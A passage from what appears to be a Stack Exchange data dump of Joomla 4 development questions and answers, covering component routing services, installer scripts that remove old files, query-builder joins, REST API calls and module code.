interfaces. Then when some part of CMS needs to determine if a component supports a feature, it will boot the component and check if a given interface is implemented.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example, if you wanted to support SEF URLs in your component, it would need to implement &lt;code&gt;Joomla\CMS\Component\Router\RouterServiceInterface&lt;/code&gt;. Suppose you used the provided trait and router factory service. Then the component class would look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Component\Router\RouterServiceInterface;&#xA;use Joomla\CMS\Component\Router\RouterServiceTrait;&#xA;&#xA;class BareboneComponent implements RouterServiceInterface&#xA;{&#xA;    use RouterServiceTrait;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Internally &lt;code&gt;RouterServiceTrait&lt;/code&gt; requires a router factory so it needs to be provided when creating the component instance:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Acme\Component\Barebone\Administrator\BareboneComponent;&#xA;use Joomla\CMS\Component\Router\RouterFactoryInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\Extension\Service\Provider\RouterFactory;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;registerServiceProvider(new RouterFactory('\\Acme\\Component\\Barebone'));&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            static function (Container $container)&#xA;            {&#xA;                $component = new BareboneComponent;&#xA;                $component-&amp;gt;setRouterFactory($container-&amp;gt;get(RouterFactoryInterface::class));&#xA;&#xA;                return $component;&#xA;            }&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;One thing to consider is that services in the container can be overridden. If you don't need or want this, you can use &lt;code&gt;$container-&amp;gt;protect()&lt;/code&gt; method (or pass fourth argument to &lt;code&gt;$container-&amp;gt;set()&lt;/code&gt;) when registering services. Or even not use the container at all. So, for example, if you want to use a custom router factory and don't want it overridden you could this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Acme\Component\Barebone\Administrator\BareboneComponent;&#xA;use Acme\Component\Barebone\Site\Router\MyRouterFactory;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            static function ()&#xA;            {&#xA;                $component = new BareboneComponent;&#xA;                $component-&amp;gt;setRouterFactory(new MyRouterFactory);&#xA;&#xA;                return $component;&#xA;            }&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-04-09T13:27:36.880" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32082" PostTypeId="1" AcceptedAnswerId="32084" CreationDate="2022-04-10T16:27:15.603" Score="2" ViewCount="146" Body="&lt;p&gt;I am developing a template for a small group of sites. In the old J3 days, I had to make an override for some core templates to fix some minor things. With the update to J4 this was no longer necessary.&lt;/p&gt;&#xA;&lt;p&gt;I created a new release for J4 only and dropped the overrides from that release. After updating the template, it did &lt;strong&gt;not&lt;/strong&gt; work. Looking into the files showed that Joomla did update but refused to remove any preexisting files. So, the old overrides were still active. I deleted them manually in the files and it worked.&lt;/p&gt;&#xA;&lt;p&gt;Now my question is: &lt;strong&gt;How can I tell the Joomla extension installer to remove a certain file during update?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I understand that it is not easy to understand for the installer which files are from the previous installed package and which ones are created by the user/admin in order to do whatever (think of a custom &lt;code&gt;user.css&lt;/code&gt; file).&lt;/p&gt;&#xA;" OwnerUserId="9259" LastActivityDate="2022-04-11T06:05:57.413" Title="How to remove a file from a template using the installer?" Tags="|development|extension-update|jinstaller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32084" PostTypeId="2" ParentId="32082" CreationDate="2022-04-11T06:05:57.413" Score="4" Body="&lt;p&gt;You have to create an installer script. The provided generic installer, &lt;code&gt;Joomla\CMS\Installer\InstallerScript&lt;/code&gt;, has some functionality for removing files and folders so you could extend it.&lt;/p&gt;&#xA;&lt;p&gt;Create a file with class &lt;code&gt;[your_template]InstallerScript&lt;/code&gt; in it, e.g. &lt;code&gt;ProtostarInstallerScript&lt;/code&gt;. Populate &lt;code&gt;deleteFiles&lt;/code&gt; property with a list of files to be deleted. Then in &lt;code&gt;update()&lt;/code&gt; or &lt;code&gt;postflight()&lt;/code&gt; method call &lt;code&gt;removeFiles()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') || exit;&#xA;&#xA;use Joomla\CMS\Installer\InstallerScript;&#xA;&#xA;class ProtostarInstallerScript extends InstallerScript&#xA;{&#xA;    protected $extension = 'protostar';&#xA;&#xA;    protected $deleteFiles = [&#xA;        '/templates/protostar/html/mod_foo/default.php',&#xA;    ];&#xA;&#xA;    public function update($adapter): bool&#xA;    {&#xA;        $this-&amp;gt;removeFiles();&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When using postflight method you need to check that it's an update that's being performed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function postflight($type, $adapter): bool&#xA;{&#xA;    if ($type === 'update')&#xA;    {&#xA;        $this-&amp;gt;removeFiles();&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally, declare the script in your &lt;code&gt;templateDetails.xml&lt;/code&gt; manifest:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;install.script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-04-11T06:05:57.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32085" PostTypeId="1" CreationDate="2022-04-11T10:55:58.757" Score="1" ViewCount="56" Body="&lt;p&gt;I'm trying to figure how to make a custom user field searchable, and sortable, in admin users panel.&lt;/p&gt;&#xA;&lt;p&gt;My custom field stores a client ID. As I can have multiple accounts per ID, i'd like to make this custom field searchable, and sortable.&lt;/p&gt;&#xA;&lt;p&gt;I can't find any documentation, all I can find is frontend oriented content, can someone explain how does administrator search bar works, how to index fields, and maybe custom fields ?&lt;/p&gt;&#xA;&lt;p&gt;Code to display a custom user field in admin panel (users list):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tbody&amp;gt;&#xA;&amp;lt;?php&#xA;    //to get fields by name&#xA;    function getValueByFieldName($customFields, $field_name) {&#xA;        foreach ($customFields as $field) {&#xA;            if ($field-&amp;gt;name == $field_name){&#xA;                return $field-&amp;gt;value;&#xA;                break;&#xA;            }&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) :&#xA;    $canEdit   = $this-&amp;gt;canDo-&amp;gt;get('core.edit');&#xA;    $canChange = $loggeduser-&amp;gt;authorise('core.edit.state',  'com_users');&#xA;    $customFields = FieldsHelper::getFields('com_users.user', JFactory::getUser($item-&amp;gt;id), true); &#xA;    $field_name_value = getValueByFieldName($customFields, 'field_name');&#xA;    &#xA;    // If this group is super admin and this user is not super admin, $canEdit is false&#xA;    if ((!$loggeduser-&amp;gt;authorise('core.admin')) &amp;amp;&amp;amp; JAccess::check($item-&amp;gt;id, 'core.admin'))&#xA;    {&#xA;        $canEdit   = false;&#xA;        $canChange = false;&#xA;    }&#xA;?&amp;gt;&#xA;    &amp;lt;tr class=&amp;quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;td class=&amp;quot;center&amp;quot;&amp;gt;&#xA;            &amp;lt;?php if ($canEdit || $canChange) : ?&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.id', $i, $item-&amp;gt;id); ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&amp;quot;center&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo $custom_field_value; ?&amp;gt;&#xA;            &#xA;        &amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12920" LastActivityDate="2022-04-11T10:55:58.757" Title="Make a custom user field searchable and sortable in administrator list" Tags="|administrator|isis-template|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32086" PostTypeId="1" CreationDate="2022-04-11T22:15:32.653" Score="1" ViewCount="83" Body="&lt;p&gt;I'm using Joomla 4 and need to use the &lt;em&gt;new&lt;/em&gt; API to get tags which have a specific parent. (I am already able to do it with the legacy API using the $tag-&amp;gt;parent_id). It seems that the new API doesn't have that attribute by default.&#xA;I have a hunch that I need to pass a filter along to Tag::tags(); but have no idea how to do it. Can anybody help please?&lt;/p&gt;&#xA;" OwnerUserId="13245" LastActivityDate="2022-04-11T22:15:32.653" Title="How do I get the tag parent with Joomla 4?" Tags="|joomla-4.x|tags|filter|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32088" PostTypeId="1" CreationDate="2022-04-15T10:20:29.723" Score="0" ViewCount="231" Body="&lt;p&gt;I want to get data from two tables using a LEFT JOIN. My query works in my current PHP code, I just don't know how to implement it with query building methods in J4. Can anyone help?&lt;/p&gt;&#xA;&lt;p&gt;SQL:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `nazwa`,&#xA;       `powierzchnia`,&#xA;       `state`,&#xA;       `stawka`,&#xA;       `partycypacja`,&#xA;       `skladka`,&#xA;       `woda`,&#xA;       `smieci`,&#xA;       `energia`,&#xA;       `inwestycyjna`&#xA;FROM dzialki&#xA;LEFT JOIN dane ON dzialki.id = dane.id&#xA;WHERE dzialki.state=1&#xA;ORDER BY dzialki.id ASC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My tables:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dzialki&#xA;+--------------+-------------+------+-----+---------+----------------+&#xA;| Field        | Type        | Null | Key | Default | Extra          |&#xA;+--------------+-------------+------+-----+---------+----------------+&#xA;| id           | int(11)     | NO   | PRI | NULL    | auto_increment |&#xA;| nazwa        | varchar(50) | NO   |     | NULL    |                |&#xA;| powierzchnia | varchar(50) | NO   |     | NULL    |                |&#xA;| state        | tinyint(1)  | NO   |     | 0       |                |&#xA;+--------------+-------------+------+-----+---------+----------------+&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dane&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;| Field        | Type         | Null | Key | Default | Extra          |&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;| id           | int(11)      | NO   | PRI | NULL    | auto_increment |&#xA;| stawka       | decimal(9,2) | NO   |     | NULL    |                |&#xA;| partycypacja | decimal(9,2) | NO   |     | NULL    |                |&#xA;| skladka      | decimal(9,2) | NO   |     | NULL    |                |&#xA;| woda         | decimal(9,2) | NO   |     | NULL    |                |&#xA;| smieci       | decimal(9,2) | NO   |     | NULL    |                |&#xA;| energia      | decimal(9,2) | NO   |     | NULL    |                |&#xA;| inwestycyjna | decimal(9,2) | NO   |     | NULL    |                |&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16122" LastEditorUserId="12352" LastEditDate="2022-04-18T08:47:03.337" LastActivityDate="2022-04-18T08:47:03.337" Title="Implement SELECT query with a LEFT JOIN in J4" Tags="|mysql|joomla-4|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32089" PostTypeId="2" ParentId="32088" CreationDate="2022-04-15T11:38:52.887" Score="1" Body="&lt;p&gt;In Joomla 4 to get data from two MySQL tables, you can use some code like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$db    = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(['nazwa', 'powierzchnia', 'state', 'stawka', 'partycypacja', 'skladka', 'woda', 'smieci', 'energia', 'inwestycyjna']))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__dzialki', 'dzialki'))&#xA;    -&amp;gt;leftJoin(&#xA;        $db-&amp;gt;quoteName('#__dane', 'dane') &#xA;        . ' ON ' . $db-&amp;gt;quoteName('dane.id') . ' = ' . $db-&amp;gt;quoteName('dzialki.id')&#xA;    )&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('dzialki.state') . ' = 1')&#xA;    -&amp;gt;order('dzialki.id ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// The result set as an array of objects&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;// Display the actual SQL query&#xA;echo $query-&amp;gt;dump();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="12352" LastEditDate="2022-04-15T12:44:08.557" LastActivityDate="2022-04-15T12:44:08.557" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32091" PostTypeId="2" ParentId="26464" CreationDate="2022-04-16T16:21:42.420" Score="0" Body="&lt;p&gt;Route 66 to date works in both joomla 3.10.8 and joomla 4.1.2.&#xA;The functions for joomla content are free.&lt;/p&gt;&#xA;" OwnerUserId="16261" LastActivityDate="2022-04-16T16:21:42.420" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32092" PostTypeId="1" CreationDate="2022-04-16T16:33:00.263" Score="0" ViewCount="109" Body="&lt;p&gt;So, this is a two parted question but both pertaining to REST APIs.  I am developing a component for Joomla in which I have a few database fields (ie. teamid and platform) that are stored in the local db.  These two fields correlate to a rest API from an external source.&lt;/p&gt;&#xA;&lt;p&gt;If table #__nhlleague_team table has the three fields:&lt;/p&gt;&#xA;&lt;p&gt;ID, teamid, platform&lt;/p&gt;&#xA;&lt;p&gt;The API I am pulling from in general is&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://proclubs.ea.com/api/nhl/clubs/info?clubIds=*teamid*&amp;amp;platform=*platform&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://proclubs.ea.com/api/nhl/clubs/info?clubIds=*teamid*&amp;amp;platform=*platform&lt;/a&gt;*&lt;/p&gt;&#xA;&lt;p&gt;for example&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://proclubs.ea.com/api/nhl/clubs/info?clubIds=196556&amp;amp;platform=xboxone&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://proclubs.ea.com/api/nhl/clubs/info?clubIds=196556&amp;amp;platform=xboxone&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, the question is - how do I insert the GET request in the Joomla Component?  Would it be its own function in the Model?  I just need the data to be displayed based on those parameters, and have no idea how to implement in the component.&lt;/p&gt;&#xA;" OwnerUserId="15798" LastActivityDate="2024-01-07T14:03:25.397" Title="Displaying API data in Joomla Component" Tags="|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32094" PostTypeId="2" ParentId="32092" CreationDate="2022-04-17T10:26:24.023" Score="0" Body="&lt;p&gt;I would say it is probably suited as a function/method of a Model as it is accessing data, some people might put it in a sub-controller, however I don't believe Controllers are supposed to deal with data.&lt;/p&gt;&#xA;&lt;p&gt;These are the basic lines that you need to set up your request, make the call and then output the results.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    use Joomla\Http\Http;&#xA;.&#xA;.&#xA;.&#xA;    $url = 'https://proclubs.ea.com/api/nhl/clubs/info?clubIds=196556&amp;amp;platform=xboxone';&#xA;    $http = new Http();&#xA;    $reponse = $http-&amp;gt;get($url);&#xA;    print_r($reponse);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-04-17T10:26:24.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32095" PostTypeId="1" CreationDate="2022-04-18T05:17:25.847" Score="0" ViewCount="116" Body="&lt;p&gt;My tables:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dzialki&#xA;+--------------+-------------+------+-----+---------+----------------+&#xA;| Field        | Type        | Null | Key | Default | Extra          |&#xA;+--------------+-------------+------+-----+---------+----------------+&#xA;| id           | int(11)     | NO   | PRI | NULL    | auto_increment |&#xA;| nazwa        | varchar(50) | NO   |     | NULL    |                |&#xA;| powierzchnia | varchar(50) | NO   |     | NULL    |                |&#xA;| state        | tinyint(1)  | NO   |     | 0       |                |&#xA;+--------------+-------------+------+-----+---------+----------------+&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dane&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;| Field        | Type         | Null | Key | Default | Extra          |&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;| id           | int(11)      | NO   | PRI | NULL    | auto_increment |&#xA;| stawka       | decimal(9,2) | NO   |     | NULL    |                |&#xA;| partycypacja | decimal(9,2) | NO   |     | NULL    |                |&#xA;| skladka      | decimal(9,2) | NO   |     | NULL    |                |&#xA;| woda         | decimal(9,2) | NO   |     | NULL    |                |&#xA;| smieci       | decimal(9,2) | NO   |     | NULL    |                |&#xA;| energia      | decimal(9,2) | NO   |     | NULL    |                |&#xA;| inwestycyjna | decimal(9,2) | NO   |     | NULL    |                |&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Sorry for the English, I use google translator.  I built a component for J4 based on 2 tables (as CRUD) on &lt;a href=&quot;https://www.component-creator.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.component-creator.com&lt;/a&gt;. I am trying to make a module based on Ajax examples and it is not working out. On my site &lt;a href=&quot;https://rod-lubocza.pl/blog/finanse&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rod-lubocza.pl/blog/finanse&lt;/a&gt; is what I mean in html + js. I am not familiar with php, js and ajax. I write code based on examples found on the web.&lt;/p&gt;&#xA;&lt;p&gt;As for the module, I have this code in the tmpl/default.php file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     J4.Module&#xA; * @subpackage  mod_kalkulator&#xA; *&#xA; * @copyright   Copyright (C) 2022 ROD Lubocza Wszystkie prawa zastrzeżone.&#xA; * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;$db = Factory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'nazwa', 'powierzchnia', 'status')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__kalk_dzialki'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('status') . ' = ' . $db-&amp;gt;quote(1))&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('id') . ' ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;//echo $db-&amp;gt;replacePrefix((string) $query);&#xA;//$results = $db-&amp;gt;loadAssocList();&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;kalkulator&amp;quot;&amp;gt;&#xA;    &amp;lt;div id=&amp;quot;kalk&amp;quot; class=&amp;quot;mb-3&amp;quot;&amp;gt;&#xA;        &amp;lt;form action=&amp;quot;&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&#xA;            &amp;lt;select id=&amp;quot;select&amp;quot; class=&amp;quot;form-select&amp;quot; aria-label=&amp;quot;Default select&amp;quot; autocomplete=&amp;quot;off&amp;quot;&amp;gt; &#xA;                &amp;lt;option value=&amp;quot;&amp;quot; hidden selected=&amp;quot;selected&amp;quot;&amp;gt;Wybierz działkę&amp;lt;/option&amp;gt;&#xA;                &amp;lt;?php foreach ($results as $row){ ?&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;&amp;lt;?php echo $row-&amp;gt;id; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $row-&amp;gt;nazwa; ?&amp;gt;&amp;lt;/option&amp;gt;   &#xA;                &amp;lt;?php }?&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;table class=&amp;quot;table&amp;quot;&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;tr class=&amp;quot;table-success&amp;quot;&amp;gt;&amp;lt;td class=&amp;quot;col-6 fw-bold&amp;quot;&amp;gt;Numer działki&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center fw-bold&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalnazwa&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Powierzchnia:&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;m2&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalpowierzchnia&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td class=&amp;quot;col-6&amp;quot;&amp;gt;Stawka opłaty ogrodowej&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;0.69 za m2&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalstawka&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td class=&amp;quot;col-6&amp;quot;&amp;gt;Partycypacja&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;0.09 za m2&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalpartycypacja&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td class=&amp;quot;col-6&amp;quot;&amp;gt;Składka członkowska&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;od działki&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalskladka&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td class=&amp;quot;col-6&amp;quot;&amp;gt;Opłata za wodę&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;od działki&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalwoda&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td class=&amp;quot;col-6&amp;quot;&amp;gt;Opłata za śmieci&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;od działki&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalsmieci&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td class=&amp;quot;col-6&amp;quot;&amp;gt;Opłata energetyczna&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;od działki&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalenergia&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td class=&amp;quot;col-6&amp;quot;&amp;gt;Opłata inwestycyjna&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;od działki&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kalinwestycyjna&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr class=&amp;quot;table-success&amp;quot;&amp;gt;&amp;lt;td class=&amp;quot;col-6 fw-bold&amp;quot;&amp;gt;Do zapłaty&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-center&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&amp;quot;col-3 text-end fw-bold&amp;quot;&amp;gt;&amp;lt;div id=&amp;quot;kaldozaplaty&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;            &#xA;    &amp;lt;/table&amp;gt;   &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to return data from 2 tables mysql to a table html using the select field. Can I ask for help?&lt;/p&gt;&#xA;" OwnerUserId="16122" LastEditorUserId="16122" LastEditDate="2022-04-18T11:43:49.433" LastActivityDate="2024-01-09T17:00:45.090" Title="How to return data from 2 tables to one table using a select field" Tags="|module|mysql|javascript|ajax|joomla-4.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32097" PostTypeId="2" ParentId="32095" CreationDate="2022-04-19T12:18:06.167" Score="0" Body="&lt;p&gt;First, you need to work out how entries in the 'dzialki' table are related to entries in the 'dane' table. Is it a one-to-one or a one-to-many relationship?&lt;/p&gt;&#xA;&lt;p&gt;If it is one-to-one, that will be more straightforward to get working. You will need to add a new column to the dzialki table which will contain the relevant id from the dane table. Then, you will need to alter your SQL query to include a left join to the dane table to include the relevant data from 'dane' in your results. We can help you with the syntax for the query, but the first step is for you to confirm if one-to-one is correct for your context.&lt;/p&gt;&#xA;&lt;p&gt;If you are confused by the above, please let me know and I will try to explain more clearly.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2022-04-19T12:18:06.167" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32098" PostTypeId="1" CreationDate="2022-04-20T01:54:12.890" Score="3" ViewCount="1805" Body="&lt;p&gt;I have a Joomla extension running on 3.10 which fails on Joomla 4. The issue is that it generates URLs of the form /index.php?option=COMPONENT&amp;amp;view=VIEW&amp;amp;task=TASK&amp;amp;parameter=PARAM which generates a 404 error on J4. I've looked all over the place and can't find anything definitive on these questions&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way to configure J4 to accept this form of URL&lt;/li&gt;&#xA;&lt;li&gt;If not, what do I need to do to the extension to change it to work on J4&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I looked at com_content (which will work with this form of URL) but got lost navigating it.&lt;/p&gt;&#xA;" OwnerUserId="7887" LastActivityDate="2022-09-21T15:02:20.227" Title="Joomla 4 URL processing/routing" Tags="|joomla-4|router|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
